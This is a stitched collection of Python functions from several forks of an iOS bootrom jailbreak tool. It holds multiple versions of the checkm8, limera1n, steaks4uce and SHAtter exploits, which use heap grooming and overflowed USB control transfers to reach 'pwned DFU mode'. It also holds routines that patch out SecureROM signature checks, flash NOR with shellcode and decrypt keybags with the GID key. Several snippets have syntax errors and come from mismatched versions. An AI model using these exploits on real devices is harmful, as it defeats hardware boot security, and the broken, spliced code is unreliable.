def exploit():
print '*** checkm8 exploit by axi0mX ***'
print '*** modified version by Linus Henze ***'
print '*** s5l8965x support by Matthew Pierson ***'
device = dfu.acquire_device()
start = time.time()
print 'Found:', device.serial_number
if 'PWND:[' in device.serial_number:
print 'Device is already in pwned DFU Mode. Not executing exploit.'
return
payload, config = exploit_config(device.serial_number)
if config.large_leak is not None:
usb_req_stall(device)
for i in range(config.large_leak):
usb_req_leak(device)
usb_req_no_leak(device)
else:
stall(device)
for i in range(config.hole):
no_leak(device)
leak(device)
no_leak(device)
dfu.usb_reset(device)
dfu.release_device(device)
device = dfu.acquire_device()
device.serial_number
libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001)
# Advance buffer offset before triggering the UaF to prevent trashing the heap
libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0,
'A' * config.overwrite_offset, 10)
libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0)
dfu.release_device(device)
time.sleep(0.5)
device = dfu.acquire_device()
usb_req_stall(device)
if config.large_leak is not None:
usb_req_leak(device)
else:
for i in range(config.leak):
usb_req_leak(device)
libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0, config.overwrite, 50)
for i in range(0, len(payload), 0x800):
libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0,
payload[i:i + 0x800], 50)
dfu.usb_reset(device)
dfu.release_device(device)
device = dfu.acquire_device()
if 'PWND:[checkm8]' not in device.serial_number:
print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.'
sys.exit(1)
print 'Device is now in pwned DFU Mode.'
print '(%0.2f seconds)' % (time.time() - start)
dfu.release_device(device)
def exploit():
print '*** based on limera1n exploit (heap overflow) by geohot ***'
device = dfu.acquire_device()
print 'Found:', device.serial_number
if 'PWND:[' in device.serial_number:
print 'Device is already in pwned DFU Mode. Not executing exploit.'
return
chosenConfig = None
for config in configs:
if 'SRTG:[iBoot-%s]' % config.version in device.serial_number:
chosenConfig = config
break
if chosenConfig is None:
for config in configs:
if 'CPID:%s' % config.cpid in device.serial_number:
print 'ERROR: CPID is compatible, but serial number string does not match.'
print 'Make sure device is in SecureROM DFU Mode and not LLB/iBSS DFU Mode. Exiting.'
sys.exit(1)
print 'ERROR: Not a compatible device. This exploit is for S5L8920/S5L8922/S5L8930 devices only. Exiting.'
sys.exit(1)
dfu.send_data(
device,
generate_payload(chosenConfig.constants, chosenConfig.exploit_lr))
assert len(device.ctrl_transfer(0xA1, 1, 0, 0, 1, 1000)) == 1
limera1n_libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800,
10)
try:
device.ctrl_transfer(0x21, 2, 0, 0, 0, 10)
print 'ERROR: This request succeeded, but it should have raised an exception. Exiting.'
sys.exit(1)
except usb.core.USBError:
# OK: This request should have raised USBError.
pass
dfu.usb_reset(device)
dfu.release_device(device)
device = dfu.acquire_device()
dfu.request_image_validation(device)
dfu.release_device(device)
time.sleep(0.5)
device = dfu.acquire_device()
failed = 'PWND:[limera1n]' not in device.serial_number
dfu.release_device(device)
if failed:
print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.'
sys.exit(1)
print 'Device is now in pwned DFU Mode.'
def boot_ibss(self):
print 'Sending iBSS.'
if self.config.cpid != '8920':
print 'ERROR: Boot iBSS is currently only supported on iPhone 3GS.'
sys.exit(1)
help1 = 'Download iPhone2,1_4.3.5_8L1_Restore.ipsw and use the following command to extract iBSS:'
help2 = 'unzip -p iPhone2,1_4.3.5_8L1_Restore.ipsw Firmware/dfu/iBSS.n88ap.RELEASE.dfu > n88ap-iBSS-4.3.5.img3'
try:
f = open('n88ap-iBSS-4.3.5.img3', 'rb')
data = f.read()
f.close()
except:
print 'ERROR: n88ap-iBSS-4.3.5.img3 is missing.'
print help1
print help2
sys.exit(1)
if len(data) == 0:
print 'ERROR: n88ap-iBSS-4.3.5.img3 exists, but is empty (size: 0 bytes).'
print help1
print help2
sys.exit(1)
if hashlib.sha256(data).hexdigest(
) != 'b47816105ce97ef02637ec113acdefcdee32336a11e04eda0a6f4fc5e6617e61':
print 'ERROR: n88ap-iBSS-4.3.5.img3 exists, but is from the wrong IPSW or corrupted.'
print help1
print help2
sys.exit(1)
iBSS = image3.Image3(data)
decryptediBSS = iBSS.newImage3(decrypted=True)
n88ap_iBSS_435_patches = [
(0x14954, 'run\x00'), # patch 'reset' command string to 'run'
(0x17654, struct.pack('<I', 0x41000001)
), # patch 'reset' command handler to LOAD_ADDRESS + 1
]
patchediBSS = decryptediBSS[:64] + utilities.apply_patches(
decryptediBSS[64:], n88ap_iBSS_435_patches)
device = dfu.acquire_device()
assert self.identifier == device.serial_number
dfu.reset_counters(device)
dfu.request_image_validation(device)
dfu.release_device(device)
time.sleep(0.5)
device = dfu.acquire_device()
assert self.identifier == device.serial_number
data = dfu.send_data(device, patchediBSS)
dfu.request_image_validation(device)
dfu.release_device(device)
time.sleep(0.5)
print 'Waiting for iBSS to enter Recovery Mode.'
device = recovery.acquire_device()
recovery.release_device(device)
def exploit():
print '*** checkm8 exploit by axi0mX ***'
print '*** s5l8747x (haywire) support by a1exdandy ***'
device = dfu.acquire_device()
start = time.time()
print 'Found:', device.serial_number
if 'PWND:[' in device.serial_number:
print 'Device is already in pwned DFU Mode. Not executing exploit.'
return
payload, config = exploit_config(device.serial_number)
if config.large_leak is not None:
usb_req_stall(device)
for i in range(config.large_leak):
usb_req_leak(device)
usb_req_no_leak(device)
else:
stall(device)
for i in range(config.hole):
no_leak(device)
usb_req_leak(device)
no_leak(device)
dfu.usb_reset(device)
dfu.release_device(device)
device = dfu.acquire_device()
device.serial_number
libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001)
libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0)
dfu.release_device(device)
time.sleep(0.8)
device = dfu.acquire_device()
usb_req_stall(device)
if config.large_leak is not None:
usb_req_leak(device)
else:
for i in range(config.leak):
usb_req_leak(device)
libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0, config.overwrite, 100)
for i in range(0, len(payload), 0x800):
libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 100)
dfu.usb_reset(device)
dfu.release_device(device)
device = dfu.acquire_device()
if 'PWND:[checkm8]' not in device.serial_number:
print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.'
sys.exit(1)
print 'Device is now in pwned DFU Mode.'
print '(%0.2f seconds)' % (time.time() - start)
dfu.release_device(device)
def exploit():
print('*** based on steaks4uce exploit (heap overflow) by pod2g ***')
device = dfu.acquire_device()
print('Found:', device.serial_number)
if 'PWND:[' in device.serial_number:
print('Device is already in pwned DFU Mode. Not executing exploit.')
return
if 'CPID:8720' not in device.serial_number:
print(
'ERROR: Not a compatible device. This exploit is for S5L8720 devices only. Exiting.'
)
sys.exit(1)
chosenConfig = None
for config in configs:
if 'SRTG:[iBoot-%s]' % config.version in device.serial_number:
chosenConfig = config
break
if chosenConfig is None:
print(
'ERROR: CPID is compatible, but serial number string does not match.'
)
print(
'Make sure device is in SecureROM DFU Mode and not LLB/iBSS DFU Mode. Exiting.'
)
sys.exit(1)
dfu.reset_counters(device)
dfu.send_data(device, generate_shellcode(chosenConfig.constants))
dfu.send_data(device, payload)
assert len(device.ctrl_transfer(0xA1, 1, 0, 0, len(payload),
1000)) == len(payload)
dfu.release_device(device)
time.sleep(0.01)
device = dfu.acquire_device()
dfu.usb_reset(device)
dfu.release_device(device)
device = dfu.acquire_device()
failed = 'PWND:[steaks4uce]' not in device.serial_number
dfu.release_device(device)
if failed:
print('ERROR: Exploit failed. Device did not enter pwned DFU Mode.')
sys.exit(1)
print('Device is now in pwned DFU Mode.')
def exploit():
print("*** checkm8 exploit by axi0mX ***")
device = dfu.acquire_device()
start = time.time()
print("Found:"), device.serial_number
if 'PWND:[' in device.serial_number:
print("Device is already in pwned DFU Mode. Not executing exploit.")
return
payload, config = exploit_config(device.serial_number)
if config.large_leak is not None:
usb_req_stall(device)
for i in range(config.large_leak):
usb_req_leak(device)
usb_req_no_leak(device)
else:
stall(device)
for i in range(config.hole):
no_leak(device)
leak(device)
no_leak(device)
dfu.usb_reset(device)
dfu.release_device(device)
device = dfu.acquire_device()
device.serial_number
libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, b'A' * 0x800, 0.0001)
libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0)
dfu.release_device(device)
time.sleep(0.5)
device = dfu.acquire_device()
usb_req_stall(device)
if config.large_leak is not None:
usb_req_leak(device)
else:
for i in range(config.leak):
usb_req_leak(device)
libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0, config.overwrite, 50)
for i in range(0, len(payload), 0x800):
libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 50)
dfu.usb_reset(device)
dfu.release_device(device)
device = dfu.acquire_device()
if 'PWND:[checkm8]' not in device.serial_number:
print("ERROR: Exploit failed. Device did not enter pwned DFU Mode.")
sys.exit(1)
print("Device is now in pwned DFU Mode.")
print("(%0.2f seconds)" % (time.time() - start))
dfu.release_device(device)
def exploit_a8_a9():
print '*** checkm8 exploit by axi0mX ***'
device = dfu.acquire_device()
start = time.time()
print 'Found:', device.serial_number
if 'PWND:[' in device.serial_number:
print 'Device is already in pwned DFU Mode. Not executing exploit.'
return
padding = 0x400 + 0x80 + 0x80
overwrite = struct.pack('<32xQQ', 0x180380000, 0)
if 'CPID:8000' in device.serial_number or\
'CPID:8003' in device.serial_number:
payload_a8_a9 = payload(0x8003)
elif 'CPID:7000' in device.serial_number:
payload_a8_a9 = payload(0x7000)
stall(device)
leak(device)
for i in range(40):
no_leak(device)
dfu.usb_reset(device)
dfu.release_device(device)
device = dfu.acquire_device()
device.serial_number
libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001)
libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0, 'A' * padding, 10)
libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0)
dfu.release_device(device)
time.sleep(0.5)
device = dfu.acquire_device()
usb_req_stall(device)
usb_req_leak(device)
usb_req_leak(device)
usb_req_leak(device)
libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0, overwrite, 100)
for i in range(0, len(payload_a8_a9), 0x800):
libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0,
payload_a8_a9[i:i + 0x800], 100)
dfu.usb_reset(device)
dfu.release_device(device)
device = dfu.acquire_device()
if 'PWND:[checkm8]' not in device.serial_number:
print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.'
sys.exit(1)
print 'Device is now in pwned DFU Mode.'
print '(%0.2f seconds)' % (time.time() - start)
dfu.release_device(device)
def __init__(self):
self.config = None
self.platform = None
device = dfu.acquire_device()
self.serial_number = device.serial_number
dfu.release_device(device)
for dp in device_platform.all_platforms:
if self.serial_number.startswith('CPID:%04x CPRV:%02x ' %
(dp.cpid, dp.cprv)):
self.platform = dp
break
if self.platform is None:
print self.serial_number
print 'ERROR: No matching usbexec.platform found for this device.'
sys.exit(1)
info = self.read_memory(self.image_base() + 0x200, 0x100)
for config in configs:
if config.match(info):
self.config = config
break
if self.config is None:
print info
print 'ERROR: No matching usbexec.config found for this image.'
sys.exit(1)
def command(self, request_data, response_length):
assert 0 <= response_length <= USB_READ_LIMIT
device = dfu.acquire_device()
assert self.serial_number == device.serial_number
dfu.send_data(device, '\0' * 16)
device.ctrl_transfer(0x21, 1, 0, 0, 0, 100)
device.ctrl_transfer(0xA1, 3, 0, 0, 6, 100)
device.ctrl_transfer(0xA1, 3, 0, 0, 6, 100)
dfu.send_data(device, request_data)
# address = 0
# for line in utilities.hex_dump(request_data, address).splitlines():
# print '%x: %s' % (address, line[10:])
# address += 16
# print(request_data)
# self.hexdump(0, request_data)
# HACK
if response_length == 0:
response = device.ctrl_transfer(0xA1, 2, 0xFFFF, 0,
response_length + 1,
CMD_TIMEOUT).tostring()[1:]
else:
response = device.ctrl_transfer(0xA1, 2, 0xFFFF, 0,
response_length,
CMD_TIMEOUT).tostring()
# print(response)
dfu.release_device(device)
assert len(response) == response_length
return response
def main():
print "*** SecureROM Signature check remover by Linus Henze ***"
device = dfu.acquire_device()
print "Found:", device.serial_number
if not "PWND:[" in device.serial_number:
print "Please enable pwned DFU Mode first."
sys.exit(1)
if not "PWND:[checkm8]" in device.serial_number:
print "Only devices pwned using checkm8 are supported."
sys.exit(1)
config = exploit_config(device.serial_number)
print "Applying patches..."
try:
pdev = usbexec.PwnedUSBDevice()
except usb.core.USBError:
print "Patches have already been applied. Exiting."
sys.exit(0)
for k in config.patches.keys():
pdev.write_memory(k, config.patches[k])
print "Successfully applied patches"
print "Resetting device state"
print "* This will effectiveley disable pwned DFU Mode"
print "* Only the signature patches will remain"
# Send abort
device.ctrl_transfer(HOST2DEVICE, DFU_ABORT, 0, 0, 0, 0)
# Perform USB reset
dfu.usb_reset(device)
dfu.release_device(device)
print "Device is now ready to accept unsigned images"
def __init__(self):
device = dfu.acquire_device()
self.identifier = device.serial_number
dfu.release_device(device)
if 'PWND:[' not in self.identifier:
print(
'ERROR: Device is not in pwned DFU Mode. Use -p flag to exploit device and then try again.'
)
sys.exit(1)
if 'CPID:8720' in self.identifier:
print(
'ERROR: This feature is not supported on iPod Touch (2nd generation).'
)
sys.exit(1)
self.config = None
for config in configs:
if 'SRTG:[iBoot-%s]' % config.version in self.identifier:
self.config = config
break
if self.config is None:
print(
'ERROR: Device seems to be in pwned DFU Mode, but a matching configuration was not found.'
)
sys.exit(1)
def exploit():
print '*** based on SHAtter exploit (segment overflow) by posixninja and pod2g ***'
device = dfu.acquire_device()
print 'Found:', device.serial_number
if 'PWND:[' in device.serial_number:
print 'Device is already in pwned DFU Mode. Not executing exploit.'
return
if 'CPID:8930' not in device.serial_number:
print 'ERROR: Not a compatible device. This exploit is for S5L8930 devices only. Exiting.'
sys.exit(1)
if 'SRTG:[iBoot-574.4]' not in device.serial_number:
print 'ERROR: CPID is compatible, but serial number string does not match.'
print 'Make sure device is in SecureROM DFU Mode and not LLB/iBSS DFU Mode. Exiting.'
sys.exit(1)
dfu.reset_counters(device)
dfu.get_data(device, 0x40)
dfu.usb_reset(device)
dfu.release_device(device)
device = dfu.acquire_device()
dfu.request_image_validation(device)
dfu.release_device(device)
device = dfu.acquire_device()
dfu.get_data(device, 0x2C000)
dfu.release_device(device)
time.sleep(0.5)
device = dfu.acquire_device()
dfu.reset_counters(device)
dfu.get_data(device, 0x140)
dfu.usb_reset(device)
dfu.release_device(device)
device = dfu.acquire_device()
dfu.request_image_validation(device)
dfu.release_device(device)
device = dfu.acquire_device()
dfu.send_data(device, generate_payload())
dfu.get_data(device, 0x2C000)
dfu.release_device(device)
time.sleep(0.5)
device = dfu.acquire_device()
failed = 'PWND:[SHAtter]' not in device.serial_number
dfu.release_device(device)
if failed:
print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.'
sys.exit(1)
print 'Device is now in pwned DFU Mode.'
def execute(self, cmd, receiveLength):
device = dfu.acquire_device()
assert self.identifier == device.serial_number
dfu.reset_counters(device)
dfu.send_data(device, EXEC_MAGIC + cmd)
dfu.request_image_validation(device)
dfu.release_device(device)
time.sleep(0.5)
device = dfu.acquire_device()
assert self.identifier == device.serial_number
requiredLength = 0x8 + receiveLength
requiredLength = requiredLength if requiredLength % 0x800 == 0 else requiredLength / 0x800 * 0x800 + 0x800
received = dfu.get_data(device, requiredLength)
dfu.release_device(device)
(exec_cleared, retval) = struct.unpack('<2I', received[:8])
assert exec_cleared == 0
return (retval, received[8:8 + receiveLength])
def command(self, request_data, response_length):
assert 0 <= response_length <= USB_READ_LIMIT
device = dfu.acquire_device()
assert self.serial_number == device.serial_number
dfu.send_data(device, b'\0' * 16)
device.ctrl_transfer(0x21, 1, 0, 0, 0, 100)
device.ctrl_transfer(0xA1, 3, 0, 0, 6, 100)
device.ctrl_transfer(0xA1, 3, 0, 0, 6, 100)
dfu.send_data(device, request_data)
# HACK
if response_length == 0:
response = device.ctrl_transfer(0xA1, 2, 0xFFFF, 0, response_length + 1, CMD_TIMEOUT).tostring()[1:]
else:
response = device.ctrl_transfer(0xA1, 2, 0xFFFF, 0, response_length, CMD_TIMEOUT).tostring()
dfu.release_device(device)
assert len(response) == response_length
return response
def getInfo():
global serial_number, cpid, bdid
dev = dfu.acquire_device()
serial_number = dev.serial_number
print("Found:" + serial_number)
if not "PWND:[" in serial_number:
print "Please enable pwned DFU Mode first."
exit(4)
cpid_m = re.search("CPID:([0-9A-F]{4})", serial_number)
if cpid_m == None:
print("Could not find CPID in serial")
exit(4)
cpid = cpid_m.group(1)
if bdid == None:
bdid_m = re.search("BDID:([0-9A-F][0-9A-F])", serial_number)
if bdid_m == None:
print("Could not find BDID in serial")
exit(4)
bdid = bdid_m.group(1)
dfu.release_device(dev)
def boot_ibss(self):
print('Sending iBSS.'
if self.config.cpid != '8920':
print('ERROR: Boot iBSS is currently only supported on iPhone 3GS.')
sys.exit(1)
help1 = 'Download iPhone2,1_4.3.5_8L1_Restore.ipsw and use the following command to extract iBSS:'
help2 = 'unzip -p iPhone2,1_4.3.5_8L1_Restore.ipsw Firmware/dfu/iBSS.n88ap.RELEASE.dfu > n88ap-iBSS-4.3.5.img3'
try:
f = open('n88ap-iBSS-4.3.5.img3', 'rb')
data = f.read()
f.close()
except:
print('ERROR: n88ap-iBSS-4.3.5.img3 is missing.')
print (help1)
print (help2)
sys.exit(1)
if len(data) == 0:
print('ERROR: n88ap-iBSS-4.3.5.img3 exists, but is empty (size: 0 bytes).')
print (help1)
print (help2)
sys.exit(1)
if hashlib.sha256(data).hexdigest() != 'b47816105ce97ef02637ec113acdefcdee32336a11e04eda0a6f4fc5e6617e61':
print('ERROR: n88ap-iBSS-4.3.5.img3 exists, but is from the wrong IPSW or corrupted.')
print help1
print help2
sys.exit(1)
iBSS = image3.Image3(data)
decryptediBSS = iBSS.newImage3(decrypted=True)
n88ap_iBSS_435_patches = [
(0x14954, 'run\x00'), # patch 'reset' command string to 'run'
(0x17654, struct.pack('<I', 0x41000001)), # patch 'reset' command handler to LOAD_ADDRESS + 1
]
patchediBSS = decryptediBSS[:64] + utilities.apply_patches(decryptediBSS[64:], n88ap_iBSS_435_patches)
device = dfu.acquire_device()
assert self.identifier == device.serial_number
dfu.reset_counters(device)
dfu.request_image_validation(device)
dfu.release_device(device)
time.sleep(0.5)
device = dfu.acquire_device()
assert self.identifier == device.serial_number
data = dfu.send_data(device, patchediBSS)
dfu.request_image_validation(device)
dfu.release_device(device)
time.sleep(0.5)
print('Waiting for iBSS to enter Recovery Mode.')
device = recovery.acquire_device()
recovery.release_device(device)
def flash_nor(self, nor):
self.boot_ibss()
print('Sending iBSS payload to flash NOR.')
MAX_SHELLCODE_LENGTH = 128
payload = open('bin/ibss-flash-nor-shellcode.bin', 'rb').read()
assert len(payload) <= MAX_SHELLCODE_LENGTH
payload += '\x00' * (MAX_SHELLCODE_LENGTH - len(payload)) + nor
device = recovery.acquire_device()
assert 'CPID:8920' in device.serial_number
recovery.send_data(device, payload)
try:
print('Sending run command.'
recovery.send_command(device, 'run')
except usb.core.USBError:
# OK
pass
#print('Caught USBError; should still work.'
recovery.release_device(device)
print('If screen is not red, NOR was flashed successfully and device will reboot.')
def decrypt_keybag(self, keybag):
KEYBAG_LENGTH = 48
assert len(keybag) == KEYBAG_LENGTH
KEYBAG_FILENAME = 'aes-keys/S5L%s-firmware' % self.config.cpid
try:
f = open(KEYBAG_FILENAME, 'rb')
data = f.read()
f.close()
except IOError:
data = str()
assert len(data) % 2 * KEYBAG_LENGTH == 0
for i in range(0, len(data), 2 * KEYBAG_LENGTH):
if keybag == data[i:i+KEYBAG_LENGTH]:
return data[i+KEYBAG_LENGTH:i+2*KEYBAG_LENGTH]
device = PwnedDFUDevice()
decrypted_keybag = device.aes(keybag, AES_DECRYPT, AES_GID_KEY)
f = open(KEYBAG_FILENAME, 'a')
f.write(keybag + decrypted_keybag)
f.close()
return decrypted_keybag
def exploit():
print '*** checkm8 exploit by axi0mX ***'
device = dfu.acquire_device()
start = time.time()
print 'Found:', device.serial_number
payload, config = exploit_config(device.serial_number)
# payload, config = exploit_config("CPID:8015 CPRV:11 CPFM:03 SCEP:01 BDID:0A ECID:<> IBFL:3C SRTG:[iBoot-3332.0.0.1.23]")
# t8015
hexdump(0x18001c000, payload)
# return
if 'PWND:[' in device.serial_number:
print 'Device is already in pwned DFU Mode. Not executing exploit.'
return
# payload, config = exploit_config(device.serial_number)
if config.large_leak is not None:
usb_req_stall(device)
for i in range(config.large_leak):
usb_req_leak(device)
usb_req_no_leak(device)
else:
stall(device)
for i in range(config.hole):
no_leak(device)
usb_req_leak(device)
no_leak(device)
dfu.usb_reset(device)
dfu.release_device(device)
device = dfu.acquire_device()
device.serial_number
libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001)
libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0)
dfu.release_device(device)
time.sleep(0.5)
device = dfu.acquire_device()
usb_req_stall(device)
if config.large_leak is not None:
usb_req_leak(device)
else:
for i in range(config.leak):
usb_req_leak(device)
libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0, config.overwrite, 100)
for i in range(0, len(payload), 0x800):
libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0,
payload[i:i + 0x800], 100)
dfu.usb_reset(device)
dfu.release_device(device)
device = dfu.acquire_device()
if 'PWND:[checkm8]' not in device.serial_number:
print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.'
sys.exit(1)
print 'Device is now in pwned DFU Mode.'
print '(%0.2f seconds)' % (time.time() - start)
dfu.release_device(device)
import dfu device = dfu.acquire_device() dfu.release_device(device)
def exploit():
print('*** checkm8 exploit by axi0mX ***')
print('**** STAGE 1 ****')
print('Checking for device in DFU mode')
device = dfu.acquire_device()
start = time.time()
print('Found:', device.serial_number)
if 'PWND:[' in device.serial_number:
print("Device already PWNed. Exiting.")
return
print('**** STAGE 2 ****')
print("Checking if device is exploitable")
payload, config = exploit_config(device.serial_number)
print("CPID: %s is exploitable" % hex(config.cpid))
print("Bootloader: [%s]" % config.version)
print('**** STAGE 3 ****')
print("Leaking...")
if config.large_leak is not None:
usb_req_stall(device)
for i in range(config.large_leak):
usb_req_leak(device)
usb_req_no_leak(device)
else:
stall(device)
for i in range(config.hole):
no_leak(device)
leak(device)
no_leak(device)
print('Resetting USB and releasing device')
# reset & release device
dfu.usb_reset(device)
dfu.release_device(device)
print('**** STAGE 4 ****')
device = dfu.acquire_device()
device.serial_number
libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001)
libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0)
dfu.release_device(device)
time.sleep(0.5)
print('**** STAGE 5 ****')
device = dfu.acquire_device()
usb_req_stall(device)
if config.large_leak is not None:
usb_req_leak(device)
else:
for i in range(config.leak):
usb_req_leak(device)
libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0, config.overwrite, 50)
for i in range(0, len(payload), 0x800):
libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0,
payload[i:i + 0x800], 50)
dfu.usb_reset(device)
dfu.release_device(device)
print("**** STAGE 6 ****")
# check if device pwned
device = dfu.acquire_device()
if 'PWND:[checkm8]' not in device.serial_number:
print('ERROR: Exploit failed. Device did not enter pwned DFU Mode.')
sys.exit(1)
print('Device is now in pwned DFU Mode.')
print('(%0.2f seconds)' % (time.time() - start))
dfu.release_device(device)
def main():
print "*** SecureROM t8015 sigcheckpath by tihmstar ***"
device = dfu.acquire_device()
print "Found:", device.serial_number
if not "PWND:[" in device.serial_number:
print "Please enable pwned DFU Mode first."
sys.exit(1)
if not "PWND:[checkm8]" in device.serial_number:
print "Only devices pwned using checkm8 are supported."
sys.exit(1)
dfu.release_device(device)
device = usbexec.PwnedUSBDevice()
#make Level3 Table
l3table = ""
for addr in range(0x0000000100000000, 0x0000000100100000, PAGE_SIZE):
entry = struct.pack("<Q", makePTE_Page_16K(addr))
if addr == REMAP_PAGE: #we are remapping heapcheck page
entry = struct.pack("<Q", makePTE_Page_16K(SRAM_REMAP_PAGE))
elif addr == REMAP_PAGE2: #we are remapping sigcheck page
entry = struct.pack("<Q", makePTE_Page_16K(SRAM_REMAP_PAGE2))
l3table += entry
#we write L3 Table here
device.write_memory(SRAM_PAGETABLE_PAGE, l3table)
#remap heapcheck page to sram
device.memcpy(SRAM_REMAP_PAGE, REMAP_PAGE, PAGE_SIZE)
#remap sigcheck page to sram
device.memcpy(SRAM_REMAP_PAGE2, REMAP_PAGE2, PAGE_SIZE)
# patch heap corruption check
device.write_memory(0x000000010000db98 - REMAP_PAGE + SRAM_REMAP_PAGE,
"\xC0\x03\x5F\xD6")
#patch codesigs
device.write_memory(0x000000010000624c - REMAP_PAGE2 + SRAM_REMAP_PAGE2,
"\x00\x00\x80\xD2")
#L2 Table point to L3
device.write_memory(
0x000000018000c400,
struct.pack("<Q", makePTE_Table_16K(SRAM_PAGETABLE_PAGE)))
#memory barrier
device.execute(0, 0x1000004F0)
#flush tlb
device.execute(0, 0x1000004AC)
print("done remapping and patching page")
device = dfu.acquire_device()
device.ctrl_transfer(HOST2DEVICE, DFU_ABORT, 0, 0, 0, 0)
# Perform USB reset
try:
dfu.usb_reset(device)
dfu.release_device(device)
except:
pass
print "Device is now ready to accept unsigned images"
def exploit():
print('*** checkm8 exploit by axi0mX ***')
print("****** stage 1, heap grooming")
device = dfu.acquire_device()
start = time.time()
print('Found:', device.serial_number)
if 'PWND:[' in device.serial_number:
print('Device is already in pwned DFU Mode. Not executing exploit.')
return
payload, config = exploit_config(device.serial_number)
if config.large_leak is not None:
usb_req_stall(device)
for i in range(config.large_leak):
usb_req_leak(device)
usb_req_no_leak(device)
else:
print("no large leak, hole:%d" % config.hole)
stall(device)
for i in range(config.hole):
no_leak(device)
leak(device)
no_leak(device)
dfu.usb_reset(device)
dfu.release_device(device)
print("****** stage 2, usb setup, send 0x800 of 'A', sends no data")
device = dfu.acquire_device()
device.serial_number
libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, b'A' * 0x800, 0.0001)
libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0)
dfu.release_device(device)
#exit(0)
time.sleep(0.5)
print("****** stage 3, exploit")
device = dfu.acquire_device()
usb_req_stall(device)
if config.large_leak is not None:
usb_req_leak(device)
else:
print("doing leak %d" % config.leak)
for i in range(config.leak):
usb_req_leak(device)
# https://gist.github.com/littlelailo/42c6a11d31877f98531f6d30444f59c4
# this is the real smash, what's in overwrite
# t8010_nop_gadget = 0x10000CC6C
"""
ROM:000000010000CC6C LDP X29, X30, [SP,#0x10] ; this is the nop gadget?
ROM:000000010000CC70 LDP X20, X19, [SP],#0x20
ROM:000000010000CC74 RET
"""
# t8010_overwrite = b'\0' * 0x580 + struct.pack('<32x2Q', t8010_nop_gadget, 0x1800B0800)
# SP = 0x1800B0800?
# This overwrites the task struct
libusb1_no_error_ctrl_transfer(device, 0, 0, 0, 0, config.overwrite, 50)
#return struct.pack('<1024sQ504x2Q496s32x',
# 0x400 = t8010_shellcode,
# 0x1000006A5, 0x60000180000625, 0x1800006A5, prepare_shellcode('t8010_t8011_disable_wxn_arm64')) +
# usb_rop_callbacks(0x1800B0800, t8010_func_gadget, t8010_callbacks)
# upload the payload, or actually, this is after the pwning happens and this is exec
# this is usb_0xA1_2_arm64 and checkm8_arm64
for i in range(0, len(payload), 0x800):
libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0,
payload[i:i + 0x800], 50)
# this is trigger?
dfu.usb_reset(device)
dfu.release_device(device)
print("****** final check")
device = dfu.acquire_device()
print("final serial", device.serial_number)
if 'PWND:[checkm8]' not in device.serial_number:
print('ERROR: Exploit failed. Device did not enter pwned DFU Mode.')
#sys.exit(1)
else:
print('Device is now in pwned DFU Mode.')
print('(%0.2f seconds)' % (time.time() - start))
dfu.release_device(device)